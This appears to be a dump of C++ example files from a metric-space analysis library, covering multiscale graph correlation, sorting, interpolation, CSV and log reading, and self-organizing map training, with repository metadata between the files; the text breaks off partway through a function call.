/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <deque> #include <array> #include <iostream> #include <chrono> #include "metric/correlation.hpp" struct simple_user_Euclidean { double operator()(const std::vector<double>& a, const std::vector<double>& b) const { double sum = 0; for (size_t i = 0; i < a.size(); ++i) { sum += (a[i] - b[i]) * (a[i] - b[i]); } return std::sqrt(sum); } }; int main() { std::cout << "Simple Correlation example have started" << std::endl; std::cout << "" << std::endl; // some data std::vector<std::vector<int>> A = { { 0, 1, 1, 1, 1, 1, 2, 3 }, { 1, 1, 1, 1, 1, 2, 3, 4 }, { 2, 2, 2, 1, 1, 2, 0, 0 }, { 3, 3, 2, 2, 1, 1, 0, 0 }, { 4, 3, 2, 1, 0, 0, 0, 0 }, { 5, 3, 2, 1, 0, 0, 0, 0 }, { 4, 6, 2, 2, 1, 1, 0, 0 }, }; std::vector<std::vector<int>> B = { { 0, 1, 1, 1, 1, 1, 2, 3 }, { 1, 1, 1, 1, 1, 2, 3, 4 }, { 2, 2, 2, 1, 1, 2, 0, 1 }, { 3, 3, 2, 2, 1, 1, 0, 1 }, { 4, 3, 2, 1, 0, 0, 1, 2 }, { 5, 3, 2, 1, 2, 3, 4, 5 }, { 4, 6, 2, 2, 1, 2, 3, 4 }, }; typedef std::vector<int> Record; typedef metric::Euclidean<double> Distance; auto mgc_corr = metric::MGC<Record, Distance, Record, Distance>(); // compute and benchmark auto t1 = std::chrono::steady_clock::now(); auto result = mgc_corr(A, B); auto t2 = std::chrono::steady_clock::now(); std::cout << "Multiscale graph correlation: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std::cout << std::endl; // out: // Multiscale graph correlation: 0.626877 (Time = 0.000823s) // some data std::vector<std::vector<double>> A1 = { { -0.991021875880222 }, { -0.768275252129114 }, { -0.526359355330172 }, { -0.318170691552235 }, { -0.0468979315641954 }, { 0.227289495956795 }, { 0.317841938040349 }, { 0.463820792484335 }, { 0.660623198153296 }, { 0.812210713528849 } }; std::vector<std::vector<double>> B1 = { { 2.36088477872717 }, { 1.23271042331569 }, { 0.219758852423591 }, { 0.0129766138306992 }, { 0.00923506810444738 }, { 1.49393468371558e-07 }, { 0.00619896971968280 }, { 0.212322021636953 }, { 0.257245700714104 }, { 1.59223791395715 } }; // build functors (function objects) with user types and metrics typedef std::vector<double> Record1; // custom distance metric typedef simple_user_Euclidean Distance1; // set up the correlation function auto mgc_corr_1 = metric::MGC<Record1, Distance1, Record1, Distance1>(); // compute and benchmark t1 = std::chrono::steady_clock::now(); result = mgc_corr_1(A1, B1); // A1 = std::vector<...>, B1 = std::vector<...> t2 = std::chrono::steady_clock::now(); std::cout << "Multiscale graph correlation (for vector and vector): " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std::cout << std::endl; // out: // Multiscale graph correlation (for vector and vector): 0.040945 (Time = 0.000433s) // some data std::vector<std::vector<double>> A2 = { { -1.08661677587398 }, { -1.00699896410939 }, { -0.814135753976830 }, { -0.875364720432552 }, { -0.659607023272462 }, { -0.798949992922930 }, { -0.431585448024267 }, { -0.619123703544758 }, { -0.351492263653510 }, { -0.394814371972061 }, { -0.309693618374598 }, { -0.352009525808777 }, { -0.0803413535982411 }, { 0.0103940699342647 }, { -0.130735385695596 }, { -0.138214899507693 }, { 0.0279270082022143 }, { 0.141670765995995 }, { 0.112221224566625 }, { 0.376767573021755 }, { 0.186729429735154 }, { 0.597349318463320 }, { 0.451380104139401 }, { 0.639237742050564 }, { 0.797420868050314 }, { 0.690091614630087 }, { 0.921722674141222 }, { 0.852593762434809 }, { 0.954771723842945 }, { 1.03297970279357 } }; std::deque<std::array<float, 1>> B2 = { { 2.70625143351230 }, { 1.41259513494005 }, { 0.666086793692617 }, { 0.647856446084279 }, { 0.887764969338737 }, { 0.286220905202707 }, { 0.543682026943014 }, { 0.0402339224257120 }, { 0.105812168910424 }, { 0.0230915137205610 }, { 0.00298976085950325 }, { 0.00366997150982423 }, { 0.000384825484363474 }, { 7.27293780465119e-05 }, { 2.50809340229209e-07 }, { 0.00306636655437742 }, { 0.000456283181338950 }, { 0.00801756105329616 }, { 1.17238339150888e-09 }, { 0.0803830108071682 }, { 0.0774478107095828 }, { 0.0474847202878941 }, { 0.0818772460512609 }, { 0.486406609209630 }, { 0.197547677770060 }, { 0.628321368933714 }, { 1.02400551043736 }, { 0.552591658802459 }, { 1.52144482984914 }, { 3.43908991254968 } }; typedef std::array<float, 1> Record2; // predefined distance metric typedef metric::Manhatten<float> Distance2; // set up the correlation function auto mgc_corr_2 = metric::MGC<Record1, Distance1, Record2, Distance2>(); // compute and benchmark t1 = std::chrono::steady_clock::now(); result = mgc_corr_2(A2, B2); // A2 = std::vector<...>, B2 = std::deque<...> t2 = std::chrono::steady_clock::now(); std::cout << "Multiscale graph correlation (for vector and deque): " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std::cout << std::endl; // out: // Multiscale graph correlation (for vector and deque): 0.288457 (Time = 0.002829s) return 0; }
5,987
C++
.cpp
118
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,417
energies_example.cpp
metric-space-ai_metric/examples/energies_examples/energies_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #if defined(__linux__) #include <dirent.h> #endif #include <vector> #include <any> #include <iostream> #include <fstream> #if defined(_WIN64) #include <filesystem> #endif #include <chrono> #include "metric/utils/ThreadPool.hpp" #include "metric/utils/Semaphore.h" #include <nlohmann/json.hpp> #include "metric/mapping.hpp" #include "metric/utils/poor_mans_quantum.hpp" #include <algorithm> using json = nlohmann::json; /////////////////////////////////////////////////////// std::string RAW_DATA_DIRNAME = "assets/data"; int CLUSTERS_NUM = 7; //////////////////////////////////////////////////////// namespace ooc_functions { template <typename T> std::vector<std::vector<T>> transpose(std::vector<std::vector<T>> &a) { size_t rows = a.size(); size_t cols = a[0].size(); std::vector<std::vector<T>> array(cols, std::vector<T>(rows)); for (size_t i = 0; i < cols; ++i) { for (size_t j = 0; j < rows; ++j) { array[i][j] = a[j][i]; } } return array; } template <typename T> std::vector<std::vector<T>> transposeInPlace(std::vector<std::vector<T>> matrix) { size_t rows = matrix.size(); size_t cols = matrix[0].size(); size_t n = std::min(rows, cols); for (size_t i = 0; i < n; i++) { for (size_t j = i; j < n; j++) { T temp = matrix[j][i]; matrix[j][i] = matrix[i][j]; matrix[i][j] = temp; } } if (cols > rows) { //std::vector<std::vector<T> rest(rows); std::vector<std::vector<T>> rest(rows, std::vector<T>()); std::vector<T> rest2(cols - rows - 1); for (size_t i = 0; i < rows; ++i) { //rest[i] = matrix[i].splice(rows, cols) rest[i].insert(rest[i].begin(), std::make_move_iterator(matrix[i].begin() + rows), std::make_move_iterator(matrix[i].begin() + cols)); matrix[i].erase(matrix[i].begin() + rows, matrix[i].begin() + cols); } for (size_t i = 0; i < cols - rows; ++i) { matrix.push_back(rest2); } for (size_t i = 0; i < rest[0].size(); ++i) { for (size_t j = 0; j < rest.size(); j++) { matrix[i + rows][j] = rest[j][i]; } } } else if (cols < rows) { //std::vector<T> rests(rows-cols); std::vector<std::vector<T>> rest(rows - cols, std::vector<T>()); for (size_t i = 0; i < cols; ++i) { // matrix[i].concat(rest) matrix[i].reserve(matrix[i].size()+rows-cols); } for (size_t i = 0; i < rows - cols; ++i) { //rest[i] = matrix[i + cols].splice(0, cols) rest[i].insert(rest[i].begin(), std::make_move_iterator(matrix[i + cols].begin() + 0), std::make_move_iterator(matrix[i + cols].begin() + cols)); matrix[i + cols].erase(matrix[i + cols].begin() + 0, matrix[i + cols].begin() + cols); } for (size_t i = 0; i < rest[0].size(); ++i) { for (size_t j = 0; j < rest.size(); j++) { matrix[i][j + cols] = rest[j][i]; } } for (size_t i = 0; i < rows - cols; ++i) { matrix.pop_back(); } } return matrix; } // -------------------------------------------------------------- // sorting functions template <typename T> void quicksort(std::vector<T> &a, size_t lo, size_t hi); template <typename T> void insertionsort(std::vector<T> &a, size_t lo, size_t hi); template <typename T> void dualPivotSort(std::vector<T> &a, size_t lo = 0, size_t hi = 0) { if (hi == 0) { hi = a.size(); } size_t quicksort_sizeThreshold = 32; (hi - lo < quicksort_sizeThreshold ? insertionsort(a, lo, hi) : quicksort(a, lo, hi)); } template <typename T> void insertionsort(std::vector<T> &a, size_t lo, size_t hi) { T t, x; size_t i, j; for (i = lo + 1; i < hi; ++i) { for (j = i, t = a[i], x = t; j > lo && a[j - 1] > x; --j) { a[j] = a[j - 1]; } a[j] = t; } } template <typename T> void quicksort(std::vector<T> &a, size_t lo, size_t hi) { // Compute the two pivots by looking at 5 elements. size_t sixth = (hi - lo) / 6 | 0, i1 = lo + sixth, i5 = hi - 1 - sixth, i3 = (lo + hi - 1) >> 1, // The midpoint. i2 = i3 - sixth, i4 = i3 + sixth; T e1 = a[i1], x1 = e1, e2 = a[i2], x2 = e2, e3 = a[i3], x3 = e3, e4 = a[i4], x4 = e4, e5 = a[i5], x5 = e5; T t; if (x1 > x2) t = e1, e1 = e2, e2 = t, t = x1, x1 = x2, x2 = t; if (x4 > x5) t = e4, e4 = e5, e5 = t, t = x4, x4 = x5, x5 = t; if (x1 > x3) t = e1, e1 = e3, e3 = t, t = x1, x1 = x3, x3 = t; if (x2 > x3) t = e2, e2 = e3, e3 = t, t = x2, x2 = x3, x3 = t; if (x1 > x4) t = e1, e1 = e4, e4 = t, t = x1, x1 = x4, x4 = t; if (x3 > x4) t = e3, e3 = e4, e4 = t, t = x3, x3 = x4, x4 = t; if (x2 > x5) t = e2, e2 = e5, e5 = t, t = x2, x2 = x5, x5 = t; if (x2 > x3) t = e2, e2 = e3, e3 = t, t = x2, x2 = x3, x3 = t; if (x4 > x5) t = e4, e4 = e5, e5 = t, t = x4, x4 = x5, x5 = t; T pivot1 = e2, pivotValue1 = x2, pivot2 = e4, pivotValue2 = x4; a[i1] = e1; a[i2] = a[lo]; a[i3] = e3; a[i4] = a[hi - 1]; a[i5] = e5; size_t less = lo + 1, // First element in the middle partition. great = hi - 2; // Last element in the middle partition. bool pivotsEqual = pivotValue1 <= pivotValue2 && pivotValue1 >= pivotValue2; if (pivotsEqual) { for (size_t k = less; k <= great; ++k) { T ek = a[k], xk = ek; if (xk < pivotValue1) { if (k != less) { a[k] = a[less]; a[less] = ek; } ++less; } else if (xk > pivotValue1) { /* eslint no-constant-condition: 0 */ while (true) { T greatValue = a[great]; if (greatValue > pivotValue1) { great--; continue; } else if (greatValue < pivotValue1) { a[k] = a[less]; a[less++] = a[great]; a[great--] = ek; break; } else { a[k] = a[great]; a[great--] = ek; break; } } } } } else { // (function () { // isolate scope { for (size_t k = less; k <= great; k++) { T ek = a[k], xk = ek; if (xk < pivotValue1) { if (k != less) { a[k] = a[less]; a[less] = ek; } ++less; } else { if (xk > pivotValue2) { while (true) { T greatValue = a[great]; if (greatValue > pivotValue2) { great--; if (great < k) break; continue; } else { if (greatValue < pivotValue1) { a[k] = a[less]; a[less++] = a[great]; a[great--] = ek; } else { a[k] = a[great]; a[great--] = ek; } break; } } } } } } // })(); // isolate scope } a[lo] = a[less - 1]; a[less - 1] = pivot1; a[hi - 1] = a[great + 1]; a[great + 1] = pivot2; dualPivotSort(a, lo, less - 1); dualPivotSort(a, great + 2, hi); if (pivotsEqual) { return; } if (less < i1 && great > i5) { // (function () { // isolate scope { T lessValue, greatValue; while ((lessValue = a[less]) <= pivotValue1 && lessValue >= pivotValue1) ++less; while ((greatValue = a[great]) <= pivotValue2 && greatValue >= pivotValue2) --great; for (size_t k = less; k <= great; k++) { T ek = a[k], xk = ek; if (xk <= pivotValue1 && xk >= pivotValue1) { if (k != less) { a[k] = a[less]; a[less] = ek; } less++; } else { if (xk <= pivotValue2 && xk >= pivotValue2) { /* eslint no-constant-condition: 0 */ while (true) { greatValue = a[great]; if (greatValue <= pivotValue2 && greatValue >= pivotValue2) { great--; if (great < k) break; continue; } else { if (greatValue < pivotValue1) { a[k] = a[less]; a[less++] = a[great]; a[great--] = ek; } else { a[k] = a[great]; a[great--] = ek; } break; } } } } } } //})(); // isolate scope } dualPivotSort(a, less, great + 1); } // linspace (erzeugt einen linearen Datenvektor) template <typename T> std::vector<T> linspace(T a, T b, int n) { std::vector<T> array; if (n > 1) { T step = (b - a) / T(n - 1); int count = 0; while (count < n) { array.push_back(a + count * step); ++count; } } else { array.push_back(b); } return array; } template <typename T> T Lerp(T v0, T v1, T t) { return (1 - t) * v0 + t * v1; } template <typename T> T quickQuantil(std::vector<T> data, T probs) { if (!(data.size() > 0)) return 0; if (1 == data.size()) return data[0]; T poi = Lerp(T(-0.5), data.size() - T(0.5), probs); int left = std::max(int(std::floor(poi)), int(0)); int right = std::min(int(std::ceil(poi)), int(data.size() - 1)); if (probs <= T(0.5)) std::nth_element(data.begin(), data.begin() + left, data.end()); else std::nth_element(data.begin(), data.begin() + right, data.end()); T datLeft = data[left]; T datRight = data[right]; T quantile = Lerp(datLeft, datRight, poi - T(left)); return quantile; } // akima interpolation /* Ref. : Hiroshi Akima, Journal of the ACM, Vol. 17, No. 4, October 1970, pages 589-602. */ template <typename T> std::vector<T> akimaInterp1(std::vector<T> const &x, std::vector<T> const &y, std::vector<T> const &xi, bool save_Mode = true) { // check inputs //calculate u vector auto uVec = [](std::vector<T> const &x, std::vector<T> const &y) { size_t n = x.size(); std::vector<T> u((n + 3)); for (size_t i = 1; i < n; ++i) { u[i + 1] = (y[i] - y[i - 1]) / (x[i] - x[i - 1]); // Shift i to i+2 } auto akima_end = [](const T &u1, const T &u2) { return 2.0 * u1 - u2; }; u[1] = akima_end(u[2], u[3]); u[0] = akima_end(u[1], u[2]); u[n + 1] = akima_end(u[n], u[n - 1]); u[n + 2] = akima_end(u[n + 1], u[n]); return u; }; std::vector<T> u = uVec(x, y); // calculate yp vector std::vector<T> yp(x.size()); for (size_t i = 0; i < x.size(); ++i) { auto a = std::abs(u[i + 3] - u[i + 2]); auto b = std::abs(u[i + 1] - u[i]); if ((a + b) != 0) { yp[i] = (a * u[i + 1] + b * u[i + 2]) / (a + b); } else { yp[i] = (u[i + 2] + u[i + 1]) / 2.0; } } // calculte interpolated yi values auto kFind = [](const T &xii, const std::vector<T> &x, int start, int end) { int klo = start; int khi = end; // // Find subinterval by bisection while (khi - klo > 1) { int k = (khi + klo) / 2; x[k] > xii ? khi = k : klo = k; } return klo; }; std::vector<T> yi(xi.size()); for (size_t i = 0; i < xi.size(); ++i) { // Find the right place in the table by means of a bisection. int k = kFind(xi[i], x, int(0), x.size() - 1); // Evaluate Akima polynomial T b = x[k + 1] - x[k]; T a = xi[i] - x[k]; yi[i] = y[k] + yp[k] * a + (3.0 * u[k + 2] - 2.0 * yp[k] - yp[k + 1]) * a * a / b + (yp[k] + yp[k + 1] - 2.0 * u[k + 2]) * a * a * a / (b * b); // Differentiate to find the second-order interpolant //ypi[i] = yp[k] + (3.0*u[k+2] - 2.0*yp[k] - yp[k+1])*2*a/b + (yp[k] + yp[k+1] - 2.0*u[k+2])*3*a*a/(b*b); // Differentiate to find the first-order interpolant //yppi[i] = (3.0*u[k+2] - 2.0*yp[k] - yp[k+1])*2/b + (yp[k] + yp[k+1] - 2.0*u[k+2])*6*a/(b*b); } return yi; } } // end helper functions ////////////////////////////////////////////////////////////////////// template <typename T> void matrix_print(const std::vector<std::vector<T>> &mat) { std::cout << "["; std::cout << std::endl; for (int i = 0; i < mat.size(); i++) { std::cout << " [ "; if (mat[i].size() > 0) { for (int j = 0; j < mat[i].size() - 1; j++) { std::cout << mat[i][j] << ", "; } std::cout << mat[i][mat[i].size() - 1]; } std::cout << " ]" << std::endl; } std::cout << std::endl; std::cout << "]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "[ "; for (int i = 0; i < vec.size() - 1; i++) { std::cout << vec[i] << ", "; } std::cout << vec[vec.size() - 1] << " ]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec,const size_t width, const size_t height) { if ((width * height) != vec.size()) { std::cout << "width * height != vector.size()" << std::endl; return; } int max_digits = 1; for (auto index = 0; index < vec.size(); ++index) { int pos = 10; int digits_num = 1; while (vec[index] / pos >= 1) { digits_num++; pos *= 10; } if (digits_num > max_digits) { max_digits = digits_num; } } for (auto index = 0; index < vec.size(); ++index) { int pos = 10; int digits_num = 1; while (vec[index] / pos >= 1) { digits_num++; pos *= 10; } for (auto i = 0; i < max_digits - digits_num; ++i) { std::cout << " "; } std::cout << vec[index] << " "; if ((index + 1) % width == 0) { std::cout << std::endl; } } std::cout << std::endl; } void printDataInfo(const json& data) { for (const auto& [key, value]: data.items()) { std::cout << key << " " << value.size() << std::endl; } } template <typename T> std::vector<size_t> sort_indexes(const std::vector<T> &v) { // initialize original index locations std::vector<size_t> idx(v.size()); std::iota(idx.begin(), idx.end(), 0); // sort indexes based on comparing values in v std::sort(idx.begin(), idx.end(), [&v](size_t i1, size_t i2) {return v[i1] < v[i2];}); return idx; } bool get_hex_bounds(std::vector<int> assignments, int checking_cluster_index, int near_cluster_index) { if (near_cluster_index >= 0 && near_cluster_index < assignments.size()) { if (assignments[checking_cluster_index] != assignments[near_cluster_index]) { return true; } } return false; } std::vector<std::vector<std::string>> readCsvData(std::string filename, char delimeter) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<std::string> row; std::string line, word, w; std::vector<std::vector<std::string>> rows; // omit headers getline(fin, line); int i = 0; while (getline(fin, line)) { i++; //std::cout << "row " << i << std::endl; std::stringstream s(line); row.clear(); while (getline(s, word, delimeter)) { //std::cout << " -> " << word << std::endl; row.push_back(word); } rows.push_back(row); } return rows; } std::vector<std::vector<double>> readEnergies(std::string dirname) { #if defined(__linux__) std::vector<std::string> files; DIR *dp; struct dirent *dirp; if((dp = opendir(dirname.c_str())) == NULL) { std::cout << "Error(" << errno << ") opening " << dirname << std::endl; return std::vector<std::vector<double>>(); } while ((dirp = readdir(dp)) != NULL) { std::string fn = std::string(dirp->d_name); if (fn.size() > 4 && fn.substr(fn.size() - 4) == ".log") { files.push_back(dirname + "/" + fn); } } closedir(dp); #endif std::vector<double> row; std::vector<double> speeds; std::string line, word, w; std::vector<std::vector<double>> rows; #if defined(_WIN64) for (const auto & entry : std::filesystem::directory_iterator(dirname)) #endif #if defined(__linux__) for (auto filename : files) #endif { #if defined(_WIN64) auto filename = entry.path(); #endif std::cout << "reading data from " << filename << "... " << std::endl; std::fstream fin; fin.open(filename, std::ios::in); char delimeter = 9; int i = 0; while (getline(fin, line)) { std::stringstream s(line); row.clear(); // omit first digit getline(s, word, delimeter); while (getline(s, word, delimeter)) { // std::cout << " -> " << word << std::endl; row.push_back(std::stold(word)); } // erase last element double speed = row[row.size() - 1]; speeds.push_back(speed); row.pop_back(); if (speed >= 1) { for (auto k = 0; k < row.size(); k++) { row[k] = sqrt(row[k]); } } else { for (auto k = 0; k < row.size(); k++) { row[k] = 0; } } rows.push_back(row); } rows.pop_back(); } return rows; } void saveToCsv(std::string filename, const std::vector<std::vector<std::string>> &mat, const std::vector<std::string> &features) { std::ofstream outputFile; // create and open the .csv file outputFile.open(filename); // write the file headers for (auto i = 0; i < features.size(); ++i) { outputFile << features[i]; outputFile << ","; } outputFile << std::endl; // last item in the mat is date for (auto i = 0; i < mat.size(); ++i) { //outputFile << dates[i] << ";"; for (auto j = 0; j < mat[i].size(); j++) { outputFile << mat[i][j] << ","; } outputFile << std::endl; } // close the output file outputFile.close(); } std::mutex mu; template <typename T, typename Metric, typename Graph, typename Distribution> double runConfiguration(int i, std::vector<std::vector<T>> data, Metric distance, Graph graph, Distribution distribution, unsigned int iterations, double start_learn_rate, double final_learn_rate, double neighborhood_start_size, double neigbour_range_decay, long long random_seed) { mu.lock(); std::cout << "configuration #" << i << " started" << std::endl; std::cout << " Distribution: " << typeid(distribution).name() << std::endl; std::cout << " iterations: " << iterations << " start_learn_rate: " << start_learn_rate << " final_learn_rate: " << final_learn_rate << " neighborhood_start_size: " << neighborhood_start_size << " neigbour_range_decay: " << neigbour_range_decay << std::endl; std::cout << std::endl; mu.unlock(); auto t1 = std::chrono::steady_clock::now(); metric::SOM<std::vector<T>, Graph, Metric, Distribution> som_model(graph, distance, start_learn_rate, final_learn_rate, iterations, distribution, neighborhood_start_size, neigbour_range_decay, random_seed); som_model.train(data); // we will calculate std deviation auto std_deviation = som_model.std_deviation(data); auto t2 = std::chrono::steady_clock::now(); mu.lock(); std::cout << "configuration #" << i << " finished, score: " << std_deviation << std::endl; std::cout << " Distribution: " << typeid(distribution).name() << std::endl; std::cout << " iterations: " << iterations << " start_learn_rate: " << start_learn_rate << " final_learn_rate: " << final_learn_rate << " neighborhood_start_size: " << neighborhood_start_size << " neigbour_range_decay: " << neigbour_range_decay << std::endl; std::cout << "deviation: " << std_deviation << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl << std::endl; mu.unlock(); return std_deviation; } template <typename T> std::vector<std::vector<T>> set2conf(std::vector<T> set_0, size_t windowSize, size_t samples, T confidencelevel) { std::random_device rd; //seed for the random number engine std::mt19937 gen(rd()); //Standard mersenne_twister_engine seeded with rd() std::uniform_real_distribution<> dis(T(0), T(1)); // propabiliy vector std::vector<T> prob_0 = ooc_functions::linspace(T(1) / T(set_0.size()), T(1) - T(1) / T(set_0.size()), set_0.size()); std::sort(set_0.begin(), set_0.end()); //ooc_functions::dualPivotSort(set_0); // compute probability matrix of set_0 std::vector<std::vector<T>> m_0(samples, std::vector<T>(set_0.size())); //std::vector<std::vector<T>> m_prop_0(samples, std::vector<T>(set_0.size())); for (size_t i = 0; i < samples; ++i) { for (size_t j = 0; j < set_0.size(); ++j) { m_0[i][j] = T(dis(gen)); // fill with random numbers } std::sort(m_0[i].begin(), m_0[i].end()); // sort the row //ooc_functions::dualPivotSort(m_prop_0[i]); m_0[i] = ooc_functions::akimaInterp1(prob_0, set_0, m_0[i]); // interpolate the random numbers } // m_prop_0.clear(); // m_prop_0.shrink_to_fit(); // transpose auto m_0t = ooc_functions::transpose(m_0); m_0.clear(); m_0.shrink_to_fit(); // compute left and right confidence boundaries of set_0 std::vector<T> set_0_left(set_0.size()); std::vector<T> set_0_right(set_0.size()); for (size_t i = 0; i < set_0.size(); ++i) { set_0_left[i] = ooc_functions::quickQuantil(m_0t[i], (T(1) - confidencelevel) / T(2)); set_0_right[i] = ooc_functions::quickQuantil(m_0t[i], confidencelevel + (T(1) - confidencelevel) / T(2)); } m_0t.clear(); m_0t.shrink_to_fit(); // compute probability matrix of left and right and medians of set_0 std::vector<std::vector<T>> m_prop_1(samples, std::vector<T>(windowSize)); for (size_t i = 0; i < samples; ++i) { for (size_t j = 0; j < windowSize; ++j) { m_prop_1[i][j] = T(dis(gen)); // fill with random numbers } std::sort(m_prop_1[i].begin(), m_prop_1[i].end()); // sort the row } std::vector<std::vector<T>> quants(3, std::vector<T>(windowSize)); // left std::vector<std::vector<T>> m(samples, std::vector<T>(windowSize)); for (size_t i = 0; i < samples; ++i) { m[i] = ooc_functions::akimaInterp1(prob_0, set_0_left, m_prop_1[i]); // interpolate the random numbers } // set_0_left.clear(); // set_0_left.shrink_to_fit(); auto mt = ooc_functions::transpose(m); for (size_t i = 0; i < windowSize; ++i) { quants[0][i] = ooc_functions::quickQuantil(mt[i], (T(1.0) - confidencelevel) / T(2.0)); } //right for (size_t i = 0; i < samples; ++i) { m[i] = ooc_functions::akimaInterp1(prob_0, set_0_right, m_prop_1[i]); } // set_0_right.clear(); // set_0_right.shrink_to_fit(); mt = ooc_functions::transpose(m); for (size_t i = 0; i < windowSize; ++i) { quants[2][i] = ooc_functions::quickQuantil(mt[i], confidencelevel + (T(1.0) - confidencelevel) / T(2.0)); } //median for (size_t i = 0; i < samples; ++i) { m[i] = ooc_functions::akimaInterp1(prob_0, set_0, m_prop_1[i]); } mt = ooc_functions::transpose(m); // m.clear(); // m.shrink_to_fit(); // m_prop_1.clear(); // m_prop_1.shrink_to_fit(); for (size_t i = 0; i < windowSize; ++i) { quants[1][i] = ooc_functions::quickQuantil(mt[i], T(0.5)); } return quants; } template <typename T> std::vector<std::vector<std::vector<T>>> set2multiconf(std::vector<T> set_0, std::vector<uint32_t> windowSizes, size_t samples, T confidencelevel) { std::vector<std::vector<std::vector<T>>> multiquants; for (size_t i = 0; i < windowSizes.size(); ++i) { multiquants.push_back(set2conf(set_0, windowSizes[i], samples, confidencelevel)); } return multiquants; } template <typename T, typename Metric, typename Graph> double iterateThroughDistributions(int distribution_type, int i, std::vector<std::vector<T>> speeds, Metric distance, Graph graph, unsigned int iterations, double s_learn_rate, double f_learn_rate, double initial_neighbour_size, double neigbour_range_decay, long long random_seed) { double score; if (distribution_type == 0) { // uniform_real_distribution std::uniform_real_distribution<double> distribution(-1, 1); score = runConfiguration(i, speeds, distance, graph, distribution, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (distribution_type == 1) { // normal_distribution std::normal_distribution<double> distribution(-1, 1); score = runConfiguration(i, speeds, distance, graph, distribution, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (distribution_type == 2) { // exponential_distribution std::exponential_distribution<double> distribution(1); score = runConfiguration(i, speeds, distance, graph, distribution, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } return score; } template <typename T, typename Graph> double iterateThroughDistances(int metric_type, int distribution_type, int i, std::vector<std::vector<T>> speeds, Graph graph, unsigned int iterations, double s_learn_rate, double f_learn_rate, double initial_neighbour_size, double neigbour_range_decay, long long random_seed) { double score; if (metric_type == 0) { // Euclidean metric::Euclidean<double> distance; score = iterateThroughDistributions(distribution_type, i, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 1) { // Manhatten metric::Manhatten<double> distance; score = iterateThroughDistributions(distribution_type, i, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 2) { // P_norm metric::P_norm<double> distance; score = iterateThroughDistributions(distribution_type, i, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 3) { // Euclidean_thresholded metric::Euclidean_thresholded<double> distance; score = iterateThroughDistributions(distribution_type, i, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 4) { // Cosine metric::Cosine<double> distance; score = iterateThroughDistributions(distribution_type, i, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (metric_type == 5) { // Chebyshev metric::Chebyshev<double> distance; score = iterateThroughDistributions(distribution_type, i, speeds, distance, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } return score; } template <typename T> double iterateThroughGraphs(int w_grid_size, int h_grid_size, int graph_type, int metric_type, int distribution_type, int i, std::vector<std::vector<T>> speeds, unsigned int iterations, double s_learn_rate, double f_learn_rate, double initial_neighbour_size, double neigbour_range_decay, long long random_seed) { double score; if (graph_type == 0) { // Grid4 metric::Grid4 graph(w_grid_size, h_grid_size); score = iterateThroughDistances(metric_type, distribution_type, i, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 1) { // Grid6 metric::Grid6 graph(w_grid_size, h_grid_size); score = iterateThroughDistances(metric_type, distribution_type, i, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 2) { // Grid8 metric::Grid8 graph(w_grid_size, h_grid_size); score = iterateThroughDistances(metric_type, distribution_type, i, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 3) { // Paley metric::Paley graph(w_grid_size * h_grid_size); score = iterateThroughDistances(metric_type, distribution_type, i, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 4) { // LPS metric::LPS graph(w_grid_size * h_grid_size); score = iterateThroughDistances(metric_type, distribution_type, i, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } else if (graph_type == 5) { // Margulis metric::Margulis graph(w_grid_size * h_grid_size); score = iterateThroughDistances(metric_type, distribution_type, i, speeds, graph, iterations, s_learn_rate, f_learn_rate, initial_neighbour_size, neigbour_range_decay, random_seed); } return score; } template <typename T, typename Metric, typename Graph, typename Distribution> std::tuple<std::vector<int>, std::vector<int>, std::vector<std::vector<std::vector<std::vector<double>>>>> get_weights_from_som(int w_grid_size, int h_grid_size, std::vector<std::vector<T>> speeds, Metric distance, Graph graph, Distribution distribution, unsigned int iterations, double s_learn_rate, double f_learn_rate, double initial_neighbour_size, double neigbour_range_decay, long long random_seed) { std::cout << " SOM Graph: " << typeid(graph).name() << std::endl; std::cout << " SOM Distance: " << typeid(distance).name() << std::endl; std::cout << " SOM Distribution: " << typeid(distribution).name() << std::endl; std::cout << std::endl; metric::SOM<std::vector<T>, Graph, Metric, Distribution> som( graph, distance, s_learn_rate, f_learn_rate, iterations, 